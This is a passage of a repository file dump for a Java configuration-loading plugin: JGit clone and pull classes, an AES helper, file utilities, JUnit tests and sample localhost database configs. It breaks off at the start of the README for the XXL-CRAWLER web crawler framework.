{\n        return map;\n    }\n\n    @Override\n    public void clear() {\n        map.clear();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/repository/RemoteRepository.java",
    "content": "package com.jun.plugin.resources.repository;\n\nimport java.util.List;\n\n/**\n * Created By Hong on 2018/8/13\n **/\npublic interface RemoteRepository {\n\n    /**\n     * 克隆仓库\n     *\n     * @return true成功\n     */\n    boolean cloneRepository();\n\n    /**\n     * 拉取最新的仓库资源\n     *\n     * @return true成功\n     */\n    boolean pullRepository();\n\n    /**\n     * 仓库全部文件\n     *\n     * @return 文件集合\n     */\n    List<String> listFileAll();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/repository/git/GitBuilder.java",
    "content": "package com.jun.plugin.resources.repository.git;\n\nimport org.eclipse.jgit.transport.CredentialsProvider;\nimport org.eclipse.jgit.transport.UsernamePasswordCredentialsProvider;\n\nimport com.jun.plugin.resources.repository.git.config.GitConfig;\nimport com.jun.plugin.resources.utils.StringUtils;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Git验证 构建器\n * Created By Hong on 2018/8/13\n **/\npublic class GitBuilder {\n\n    /**\n     * CredentialsProvider Cache\n     **/\n    private static Map<String, CredentialsProvider> PROVIDER_CACHE = new ConcurrentHashMap<>();\n\n    private static GitConfig GIT_CONFIG = GitConfig.get();\n\n    /**\n     * 构建Git验证器\n     *\n     * @return CredentialsProvider\n     */\n    public static CredentialsProvider createProvider() {\n        if(StringUtils.isEmpty(GIT_CONFIG.getUsername()) || StringUtils.isEmpty(GIT_CONFIG.getPassword())) {\n            return null;\n        }\n        if (PROVIDER_CACHE.containsKey(GIT_CONFIG.getUsername().concat(GIT_CONFIG.getPassword()))) {\n            return PROVIDER_CACHE.get(GIT_CONFIG.getUsername().concat(GIT_CONFIG.getPassword()));\n        }\n        PROVIDER_CACHE.put(GIT_CONFIG.getUsername().concat(GIT_CONFIG.getPassword()), new UsernamePasswordCredentialsProvider(GIT_CONFIG.getUsername(), GIT_CONFIG.getPassword()));\n        return PROVIDER_CACHE.get(GIT_CONFIG.getUsername().concat(GIT_CONFIG.getPassword()));\n    }\n\n    /**\n     * 构建Git验证器\n     *\n     * @param username 用户名\n     * @param password 密码\n     * @return UsernamePasswordCredentialsProvider\n     */\n    public static CredentialsProvider createProvider(String username, String password) {\n        if (StringUtils.isEmpty(username)) {\n            throw new IllegalArgumentException(\"username is empty.\");\n        }\n        if (StringUtils.isEmpty(password)) {\n            throw new IllegalArgumentException(\"password is empty.\");\n        }\n        if (PROVIDER_CACHE.containsKey(username.concat(password))) {\n            return PROVIDER_CACHE.get(username.concat(password));\n        }\n        PROVIDER_CACHE.put(username.concat(password), new UsernamePasswordCredentialsProvider(username, password));\n        return PROVIDER_CACHE.get(username.concat(password));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/repository/git/GitCore.java",
    "content": "package com.jun.plugin.resources.repository.git;\n\nimport org.eclipse.jgit.api.CloneCommand;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.PullResult;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.internal.storage.file.FileRepository;\nimport org.eclipse.jgit.transport.CredentialsProvider;\nimport org.eclipse.jgit.transport.UsernamePasswordCredentialsProvider;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.resources.repository.RemoteRepository;\nimport com.jun.plugin.resources.repository.git.config.GitConfig;\nimport com.jun.plugin.resources.utils.FileUtils;\n\nimport java.io.File;\nimport java.util.List;\n\n/**\n * Created By Hong on 2018/8/13\n **/\npublic class GitCore implements RemoteRepository {\n\n    private static Logger LOG = LoggerFactory.getLogger(GitCore.class);\n    private static GitConfig CONFIG = GitConfig.get();\n\n    static {\n        //第一次初始化，删除本地git仓库\n        FileUtils.delNotEmptyDir(new File(CONFIG.getLocalDir()));\n    }\n\n    @Override\n    public boolean cloneRepository() {\n        CredentialsProvider provider = GitBuilder.createProvider();\n        CloneCommand command = Git.cloneRepository();\n        command.setURI(CONFIG.getUri());\n        command.setBranch(CONFIG.getBranch());\n        command.setDirectory(new File(CONFIG.getLocalDir()));\n        command.setCredentialsProvider(provider);\n        try {\n            Git git = command.call();\n            if (LOG.isInfoEnabled()) {\n                LOG.info(\"Git clone successful, tag name is\" + git.tag().getName());\n            }\n            return true;\n        } catch (GitAPIException e) {\n            e.printStackTrace();\n            if (LOG.isErrorEnabled()) {\n                LOG.error(\"Git clone fail.\", e);\n            }\n        }\n        return false;\n    }\n\n    @Override\n    public boolean pullRepository() {\n        CredentialsProvider provider = GitBuilder.createProvider();\n        try {\n            Git git = new Git(new FileRepository(CONFIG.getLocalDir().concat(\"/.git\")));\n            PullResult result = git.pull()\n                    .setRemoteBranchName(CONFIG.getBranch())\n                    .setCredentialsProvider(provider)\n                    .call();\n            return result.isSuccessful();\n        } catch (Exception e) {\n            if (LOG.isErrorEnabled()) {\n                LOG.error(\"Git pull fail.\", e);\n            }\n        }\n        return false;\n    }\n\n    @Override\n    public List<String> listFileAll() {\n        return FileUtils.listAllFiles(new File(CONFIG.getLocalDir()));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/repository/git/config/GitConfig.java",
    "content": "package com.jun.plugin.resources.repository.git.config;\n\nimport com.jun.plugin.resources.KeyConstants;\nimport com.jun.plugin.resources.config.Config;\nimport com.jun.plugin.resources.config.GlobalConfig;\nimport com.jun.plugin.resources.utils.StringUtils;\n\n/**\n * Git 配置\n * Created By Hong on 2018/8/13\n **/\npublic class GitConfig {\n\n    /**\n     * 默认分支\n     */\n    private static String BRANCH_DEFAULT = \"master\";\n\n    private static Config CONFIG = GlobalConfig.get();\n    private static GitConfig GIT_CONFIG = new GitConfig();\n\n    public static GitConfig get() {\n        return GIT_CONFIG;\n    }\n\n    private String uri;\n\n    private String username;\n\n    private String password;\n\n    private String branch;\n\n    private String localDir;\n\n    public GitConfig() {\n        this.uri = CONFIG.getValue(KeyConstants.GIT_URI);\n        this.username = CONFIG.getValue(KeyConstants.GIT_USERNAME);\n        this.password = CONFIG.getValue(KeyConstants.GIT_PASSWORD);\n        this.branch = CONFIG.getValue(KeyConstants.GIT_BRANCH);\n        this.localDir = CONFIG.getValue(KeyConstants.GIT_LOCAL_DIR);\n    }\n\n    public String getUri() {\n        return uri;\n    }\n\n    public void setUri(String uri) {\n        this.uri = uri;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getBranch() {\n        if (StringUtils.isEmpty(branch)) {\n            return BRANCH_DEFAULT;\n        }\n        return branch;\n    }\n\n    public void setBranch(String branch) {\n        this.branch = branch;\n    }\n\n    public String getLocalDir() {\n        if (StringUtils.isEmpty(localDir)) {\n            //获取系统临时路径\n            return System.getProperty(\"java.io.tmpdir\").concat(\"\\\\AntResources\\\\git\");\n        }\n        return localDir;\n    }\n\n    public void setLocalDir(String localDir) {\n        this.localDir = localDir;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/repository/svn/package-info.java",
    "content": "/**\n * 后续加入SVN\n * Created By Hong on 2018/8/13\n **/\npackage com.jun.plugin.resources.repository.svn;"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/utils/AES.java",
    "content": "package com.jun.plugin.resources.utils;\n\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.security.SecureRandom;\n\n/**\n * AES加密解密工具类\n * Created by Hong on 2019/4/19\n */\npublic class AES {\n\n    private static final Logger logger = LoggerFactory.getLogger(AES.class);\n    private static final String defaultCharset = \"UTF-8\";\n    private static final String KEY_AES = \"AES\";\n    private static final String KEY = \"123456\";\n\n    /**\n     * 加密\n     *\n     * @param data 需要加密的内容\n     * @param key  加密密码\n     * @return\n     */\n    public static String encrypt(String data, String key) {\n        return doAES(data, key, Cipher.ENCRYPT_MODE);\n    }\n\n    /**\n     * 解密\n     *\n     * @param data 待解密内容\n     * @param key  解密密钥\n     * @return\n     */\n    public static String decrypt(String data, String key) {\n        return doAES(data, key, Cipher.DECRYPT_MODE);\n    }\n\n    /**\n     * 加解密\n     *\n     * @param data 待处理数据\n     * @param key  密钥\n     * @param mode 加解密mode\n     * @return\n     */\n    private static String doAES(String data, String key, int mode) {\n        try {\n            if (StringUtils.isEmpty(data) || StringUtils.isEmpty(key)) {\n                return null;\n            }\n            //判断是加密还是解密\n            boolean encrypt = mode == Cipher.ENCRYPT_MODE;\n            byte[] content;\n            //true 加密内容 false 解密内容\n            if (encrypt) {\n                content = data.getBytes(defaultCharset);\n            } else {\n                content = parseHexStr2Byte(data);\n            }\n            //1.构造密钥生成器，指定为AES算法,不区分大小写\n            KeyGenerator keyGenerator = KeyGenerator.getInstance(KEY_AES);\n            //2.根据ecnodeRules规则初始化密钥生成器\n            //生成一个128位的随机源,根据传入的字节数组\n            keyGenerator.init(128, new SecureRandom(key.getBytes()));\n            //3.产生原始对称密钥\n            SecretKey secretKey = keyGenerator.generateKey();\n            //4.获得原始对称密钥的字节数组\n            byte[] enCodeFormat = secretKey.getEncoded();\n            //5.根据字节数组生成AES密钥\n            SecretKeySpec keySpec = new SecretKeySpec(enCodeFormat, KEY_AES);\n            //6.根据指定算法AES自成密码器\n            Cipher cipher = Cipher.getInstance(KEY_AES);// 创建密码器\n            //7.初始化密码器，第一个参数为加密(Encrypt_mode)或者解密解密(Decrypt_mode)操作，第二个参数为使用的KEY\n            cipher.init(mode, keySpec);// 初始化\n            byte[] result = cipher.doFinal(content);\n            if (encrypt) {\n                //将二进制转换成16进制\n                return parseByte2HexStr(result);\n            } else {\n                return new String(result, defaultCharset);\n            }\n        } catch (Exception e) {\n            logger.error(\"AES 密文处理异常\", e);\n        }\n        return null;\n    }\n\n    /**\n     * 将二进制转换成16进制\n     *\n     * @param buf\n     * @return\n     */\n    public static String parseByte2HexStr(byte buf[]) {\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < buf.length; i++) {\n            String hex = Integer.toHexString(buf[i] & 0xFF);\n            if (hex.length() == 1) {\n                hex = '0' + hex;\n            }\n            sb.append(hex.toUpperCase());\n        }\n        return sb.toString();\n    }\n\n    /**\n     * 将16进制转换为二进制\n     *\n     * @param hexStr\n     * @return\n     */\n    public static byte[] parseHexStr2Byte(String hexStr) {\n        if (hexStr.length() < 1) {\n            return null;\n        }\n        byte[] result = new byte[hexStr.length() / 2];\n        for (int i = 0; i < hexStr.length() / 2; i++) {\n            int high = Integer.parseInt(hexStr.substring(i * 2, i * 2 + 1), 16);\n            int low = Integer.parseInt(hexStr.substring(i * 2 + 1, i * 2 + 2), 16);\n            result[i] = (byte) (high * 16 + low);\n        }\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/utils/Args.java",
    "content": "package com.jun.plugin.resources.utils;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic final class Args {\n\n    private Args() {\n\n    }\n\n    public static String valueTrim(String var1) {\n        return var1 == null ? \"\" : var1.trim();\n    }\n\n    public static String value(String var1) {\n        return var1 == null ? \"\" : var1;\n    }\n\n    public static String value(String var1, String var2) {\n        return var1 == null ? var2 : var1;\n    }\n\n    public static Boolean value(Boolean var1) {\n        return var1 == null ? Boolean.FALSE : var1;\n    }\n\n    public static Boolean value(Boolean var1, Boolean var2) {\n        return var1 == null ? var2 : var1;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/utils/ArrayUtils.java",
    "content": "package com.jun.plugin.resources.utils;\n\nimport java.util.List;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic final class ArrayUtils {\n\n    private ArrayUtils() {\n\n    }\n\n    public static <E> String toString(E[] array) {\n        if (array == null || array.length == 0) {\n            return \"\";\n        }\n        StringBuilder builder = new StringBuilder();\n        for (E e : array) {\n            builder.append(\",\").append(e);\n        }\n        builder.deleteCharAt(0);\n        return builder.toString();\n    }\n\n    public static <E> String toString(List<E> list) {\n        if (list == null || list.isEmpty()) {\n            return \"\";\n        }\n        StringBuilder builder = new StringBuilder();\n        for (E e : list) {\n            builder.append(\",\").append(e);\n        }\n        builder.deleteCharAt(0);\n        return builder.toString();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/utils/FileUtils.java",
    "content": "package com.jun.plugin.resources.utils;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Created By Hong on 2018/8/13\n **/\npublic final class FileUtils {\n\n    /**\n     * 获取文件名\n     *\n     * @param path 路径\n     * @return 文件名\n     */\n    public static String getFileName(String path) {\n        File file = new File(path);\n        return file.getName();\n    }\n\n    /**\n     * 获取文件夹下面全部文件\n     *\n     * @param file 文件或者文件名\n     * @return 全部文件\n     */\n    public static List<String> listAllFiles(File file) {\n        List<String> list = new ArrayList<>();\n        if (file.exists() && file.isDirectory()) {\n            File[] files = file.listFiles();\n            for (File f : files) {\n                if (f.isFile()) {\n                    list.add(f.getPath());\n                } else {\n                    //跳过git和svn文件夹\n                    if (f.getName().contains(\".git\") || f.getName().contains(\".svn\")) {\n                        continue;\n                    }\n                    list.addAll(listAllFiles(f));\n                }\n            }\n        } else if (file.exists() && file.isFile()) {\n            list.add(file.getPath());\n        }\n        return list;\n    }\n\n    public static List<String> listFiles(File file) {\n        List<String> list = new ArrayList<>();\n        if (file.exists() && file.isDirectory()) {\n            File[] files = file.listFiles();\n            for (File f : files) {\n                if (f.isFile()) {\n                    list.add(f.getPath());\n                }\n            }\n        } else if (file.exists() && file.isFile()) {\n            list.add(file.getPath());\n        }\n        return list;\n    }\n\n    /**\n     * 删除一个非空文件夹\n     *\n     * @param file 文件夹\n     * @return true成功\n     */\n    public static boolean delNotEmptyDir(File file) {\n        if (file.exists()) {\n            File[] files = file.listFiles();\n            for (File file$ : files) {\n                if (file$.isDirectory()) {\n                    delNotEmptyDir(file$);\n                } else {\n                    file$.delete();\n                }\n            }\n            return file.delete();\n        }\n        return false;\n    }\n\n    public static boolean delDir(String file) {\n        File file$ = new File(file);\n        return delDir(file$);\n    }\n\n    public static boolean delDir(File file) {\n        if (file.exists()) {\n            return file.delete();\n        }\n        return false;\n    }\n\n    public static boolean delFile(File file) {\n        if (file.exists()) {\n            return file.delete();\n        }\n        return false;\n    }\n\n    public static boolean delFile(String file) {\n        File file$ = new File(file);\n        return delFile(file$);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/utils/ResourcesUtils.java",
    "content": "package com.jun.plugin.resources.utils;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\n\nimport com.jun.plugin.resources.KeyConstants;\nimport com.jun.plugin.resources.PrefixConstants;\nimport com.jun.plugin.resources.config.Config;\nimport com.jun.plugin.resources.config.GlobalConfig;\n\n/**\n * 读取多环境配置文件名\n * Created by Hong on 2019/4/19\n */\npublic class ResourcesUtils {\n\n    private final static String START_WITH = \"/\";\n\n\n    /**\n     * 获取带profile的资源名\n     *\n     * @param var1 文件名\n     * @return\n     */\n    public static String getProfileProperties(String var1) {\n        String profile = GlobalConfig.get().getValue(KeyConstants.PROFILE);\n        if(StringUtils.isEmpty(profile)) {\n            profile = System.getProperty(KeyConstants.PROFILE);\n        }\n        return getProfileProperties(var1, profile);\n    }\n\n    /**\n     * @param var1    文件名\n     * @param profile 多环境\n     * @return\n     */\n    public static String getProfileProperties(String var1, String profile) {\n        if (StringUtils.isEmpty(profile)) {\n            return var1;\n        }\n        profile = \"-\" + profile;\n\n        StringBuilder builder = new StringBuilder(var1);\n\n        //如果文件名已经存在profile，就不继续后续操作了\n        if (builder.indexOf(profile) > -1) {\n            return builder.toString();\n        }\n\n        int index = builder.lastIndexOf(\".\");\n        if (index == -1) {\n            builder.append(profile);\n        } else {\n            builder.insert(index, profile);\n        }\n        return builder.toString();\n    }\n\n    /**\n     * 去除前缀的文件名\n     *\n     * @param var1 带前缀的文件名\n     * @return\n     */\n    public static String getPropertiesName(String var1) {\n        if (var1.indexOf(\":\") > -1) {\n            return var1.substring(var1.indexOf(\":\") + 1);\n        }\n        return var1;\n    }\n\n    /**\n     * classpath转换成可用的包内路径\n     *\n     * @param var1 classpath路径\n     * @return 包内正确路径\n     */\n    public static String convert(String var1) {\n        if (!var1.startsWith(START_WITH)) {\n            var1 = START_WITH + var1;\n        }\n        return var1;\n    }\n\n    /**\n     * @param var1        文件路径\n     * @param isClassPath 是否是包内文件\n     * @return\n     */\n    public static boolean exists(String var1, boolean isClassPath) {\n        if (isClassPath) {\n            //包内文件是否存在\n            String name = convert(var1);\n            try (InputStream inputStream = ResourcesUtils.class.getClass().getResourceAsStream(name)) {\n                return true;\n            } catch (IOException e) {\n                return false;\n            }\n        }\n        //包外文件是否存在\n        return new File(var1).exists();\n    }\n\n    public static InputStream classInputStream(String path) {\n        path = convert(path);\n        return ResourcesUtils.class.getClass().getResourceAsStream(path);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/utils/StringUtils.java",
    "content": "package com.jun.plugin.resources.utils;\n\n/**\n * Created By Hong on 2018/8/6\n **/\npublic final class StringUtils {\n\n    public static boolean isEmpty(String var1) {\n        return var1 == null || var1.equals(\"\") ? true : false;\n    }\n\n    public static boolean isNotEmpty(String var1) {\n        return !isEmpty(var1);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/resources/META-INF/spring-configuration-metadata.json",
    "content": "{\n  \"properties\": [\n    {\n      \"name\": \"ant.core.resources.profile\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"Profile环境配置.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.db.dataSource\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"DB 数据源.\",\n      \"defaultValue\": \"cn.antcore.resources.db.datasource.DefaultDataSource\"\n    },\n    {\n      \"name\": \"ant.core.resources.db.driveClassName\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"DB 驱动.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.db.url\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"DB 连接字符串.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.db.username\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"DB 用户名.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.db.password\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"DB 密码.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.db.tableName\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"DB 数据库表名.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.git.uri\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"Git仓库地址.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.git.username\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"Git仓库验证用户名.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.git.password\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"Git仓库验证密码.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.git.branch\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"Git仓库分支.\",\n      \"defaultValue\": \"\"\n    },\n    {\n      \"name\": \"ant.core.resources.git.localDir\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"Git仓库资源本地保存路径.\",\n      \"defaultValue\": \"\"\n    }\n  ]\n}"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/test/java/Test.java",
    "content": "import org.junit.Before;\n\nimport com.jun.plugin.resources.KeyConstants;\nimport com.jun.plugin.resources.Resources;\nimport com.jun.plugin.resources.config.GlobalConfig;\nimport com.jun.plugin.resources.core.AutoResources;\nimport com.jun.plugin.resources.db.select.Select;\nimport com.jun.plugin.resources.extend.*;\nimport com.jun.plugin.resources.repository.RemoteRepository;\nimport com.jun.plugin.resources.repository.git.GitCore;\n\nimport java.io.IOException;\nimport java.util.Map;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class Test {\n\n    @Before\n    public void useKey() {\n        //设置密钥\n        GlobalConfig.useKey(\"Hong\");\n    }\n\n    @org.junit.Test\n    public void globalConfig() {\n        System.setProperty(\"ant.core.resources.profile\", \"release\");\n        Map<Object, Object> map = GlobalConfig.get().getConfig();\n        for (Object key : map.keySet()) {\n            System.err.println(key + \"：\" + map.get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void loadProperties() throws IOException {\n        PropertiesResources resources = new PropertiesResources();\n        resources.loadByClassPath(\"properties_test.properties\");\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void loadPropertiesByFilePath() throws IOException {\n        PropertiesResources resources = new PropertiesResources();\n        resources.loadByFilePath(\"C:\\\\Users\\\\Hong\\\\AppData\\\\Local\\\\Temp\\\\AntResources\\\\git\\\\app.properties\");\n        System.err.println(resources.getResources());\n    }\n\n    @org.junit.Test\n    public void loadXmlProperties() throws IOException {\n        XmlResources resources = new XmlResources();\n        resources.loadByClassPath(\"xml_test.xml\");\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void loadXmlPropertiesByFilePath() throws IOException {\n        XmlResources resources = new XmlResources();\n        resources.loadByFilePath(\"D:\\\\config\\\\application.xml\");\n        System.err.println(resources.getResources());\n    }\n\n    @org.junit.Test\n    public void loadYamlProperties() throws IOException {\n        YamlResources resources = new YamlResources();\n        resources.loadByClassPath(\"application.yml\");\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void loadYamlPropertiesByFilePath() throws IOException {\n        YamlResources resources = new YamlResources();\n        resources.loadByFilePath(\"D:/config/application.yml\");\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void loadDbProperties() {\n        DbResources resources = new DbResources();\n        resources.load();\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void loadDbPropertiesByTableName() {\n        DbResources resources = new DbResources();\n        resources.load(\"tb_config\");\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void autoReadResources() throws IOException {\n        System.setProperty(\"ant.core.resources.profile\", \"release\");\n        //Resources resources = new AutoResources(\"db:tb_config\");\n        //Resources resources = new AutoResources(\"classpath:application.yml\");\n        Resources resources = new AutoResources(\"git:yml\");\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n\n    @org.junit.Test\n    public void sqlBuilder() {\n        Select select = new Select();\n        select.table(GlobalConfig.get().getValue(KeyConstants.DB_TABLE_NAME))\n                .columnAll();\n        System.err.println(select);\n    }\n\n    @org.junit.Test\n    public void testGit() {\n        RemoteRepository remoteRepository = new GitCore();\n        remoteRepository.cloneRepository();\n        remoteRepository.pullRepository();\n    }\n\n    @org.junit.Test\n    public void loadGit() {\n        System.setProperty(\"ant.core.resources.profile\", \"release\");\n        GitResources resources = new GitResources();\n        resources.load(\"yml\");\n        for (Object key : resources.getResources().keySet()) {\n            System.err.println(key + \"：\" + resources.getResources().get(key));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/test/resources/application-release.yml",
    "content": "ant:\n  core:\n    resources:\n      name: Hong release\n      db:\n        dataSource: cn.antcore.resources.db.datasource.DefaultDataSource\n        driveClassName: com.mysql.jdbc.Driver\n        url: jdbc:mysql://127.0.0.1:3306/db_config?characterEncoding=utf-8&useSSL=false\n        username: root\n        password: E|77781F4448CAA0046542033EDDCC97B2 #原始密码是:123456\n        tableName: tb_config\n\n      git:\n        uri:\n        username:\n        password:\n        branch: master\n        localDir:"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/test/resources/application.yml",
    "content": "ant:\n  core:\n    resources:\n      name: Hong dev\n      db:\n        dataSource: cn.antcore.resources.db.datasource.DefaultDataSource\n        driveClassName: com.mysql.jdbc.Driver\n        url: jdbc:mysql://127.0.0.1:3306/db_config?characterEncoding=utf-8&useSSL=false\n        username: root\n        password: E|77781F4448CAA0046542033EDDCC97B2 #原始密码是:123456\n        tableName: tb_config\n\n      git:\n        uri:\n        username:\n        password:\n        branch: master\n        localDir:"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/test/resources/properties_test.properties",
    "content": "ant.core.resources.profile = dev\nant.core.resources.db.dataSource = cn.antcore.resources.db.datasource.DefaultDataSource\nant.core.resources.db.driveClassName = com.mysql.jdbc.Driver\nant.core.resources.db.url = jdbc:mysql://127.0.0.1:3306/db_config?characterEncoding=utf-8&useSSL=false\nant.core.resources.db.username = root\n#原始密码是:123456\nant.core.resources.db.password = E|77781F4448CAA0046542033EDDCC97B2\nant.core.resources.db.tableName = tb_config\n\nant.core.resources.git.uri =\nant.core.resources.git.username =\nant.core.resources.git.password =\nant.core.resources.git.branch = master\nant.core.resources.git.localDir ="
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/test/resources/xml_test.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE properties SYSTEM \"http://java.sun.com/dtd/properties.dtd\">\n<properties>\n    <comment>Temporary Properties</comment>\n    <entry key=\"ant.core.resources.profile\">dev</entry>\n    <entry key=\"ant.core.resources.db.dataSource\">cn.antcore.resources.db.datasource.DefaultDataSource</entry>\n    <entry key=\"ant.core.resources.db.driveClassName\">com.mysql.jdbc.Driver</entry>\n    <entry key=\"ant.core.resources.db.url\">jdbc:mysql://127.0.0.1:3306/db_config?characterEncoding=utf-8&amp;useSSL=false</entry>\n    <entry key=\"ant.core.resources.db.username\">root</entry>\n    <entry key=\"ant.core.resources.db.password\">E|77781F4448CAA0046542033EDDCC97B2</entry>\n    <entry key=\"ant.core.resources.db.tableName\">tb_config</entry>\n    <entry key=\"ant.core.resources.git.uri\"></entry>\n    <entry key=\"ant.core.resources.git.username\"></entry>\n    <entry key=\"ant.core.resources.git.password\"></entry>\n    <entry key=\"ant.core.resources.git.branch\"></entry>\n    <entry key=\"ant.core.resources.git.localDir\"></entry>\n</properties>"
  },
  {
    "path": "jun_java_plugins/jun_crawler/README.md",
    "content": "<p align=\"center\">\n    <img src=\"https://www.xuxueli.com/doc/static/xxl-job/images/xxl-logo.jpg\" width=\"150\">\n    <h3 align=\"center\">XXL-CRAWLER</h3>\n    <p align=\"center\">\n        XXL-CRAWLER, a distributed web crawler framework.\n        <br>\n        <a href=\"https://www.xuxueli.com/xxl-crawler/\"><strong>-- Home Page --</strong></a>\n        <br>\n        <br>\n        <a href=\"https://maven-badges.herokuapp.com/maven-central/com.xuxueli/xxl-crawler/\">\n            <img src=\"https://maven-badges.herokuapp.com/maven-central/com.xuxueli/xxl-crawler/badge.svg\" >\n        </a>\n         <a href=\"https://github.com/xuxueli/xxl-crawler/releases\">\n             <img src=\"https://img.shields.io/github/release/xuxueli/xxl-crawler.svg\" >\n         </a>\n         <a href=\"http://www.gnu.org/licenses/gpl-3.0.html\">\n             <img src=\"https://img.shields.io/badge/license-GPLv3-blue.svg\" >\n         </a>\n         <a href=\"https://www.xuxueli.com/page/donate.html\">\n            <img src=\"https://img.shields.io/badge/%24-donate-ff69b4.svg?style=flat-square\" >\n         </a>\n    </p>    \n</p>\n\n\n## Introduction\n\nXXL-CRAWLER is a distributed web crawler framework. One line of code develops a distributed crawler. Features such as \"multithreaded、asynchronous、dynamic IP proxy、distributed、javascript-rendering\".\n\nXXL-CRAWLER 是一个分布式爬虫框架。一行代码开发一个分布式爬虫，拥有\"多线程、异步、IP动态代理、分布式、JS渲染\"等特性；\n\n## Documentation\n- [中文文档](https://www.xuxueli.com/xxl-crawler/)\n\n\n## Features\n- 1、简洁：API直观简洁，可快速上手；\n- 2、轻量级：底层实现仅强依赖jsoup，简洁高效；\n- 3、模块化：模块化的结构设计，可轻松扩展\n- 4、面向对象：支持通过注解，方便的映射页面数据到PageVO对象，底层自动完成PageVO对象的数据抽取和封装返回；单个页面支持抽取一个或多个PageVO\n- 5、多线程：线程池方式运行，提高采集效率；\n- 6、分布式支持：通过扩展 \"RunData\" 模块，并结合Redis或DB共享运行数据可实现分布式。默认提供LocalRunData单机版爬虫。\n- 7、JS渲染：通过扩展 \"PageLoader\" 模块，支持采集JS动态渲染数据。原生提供 Jsoup(非JS渲染，速度更快)、HtmlUnit(JS渲染)、Selenium+Phantomjs(JS渲染，兼容性高) 等多种实现，支持自由扩展其他实现。\n- 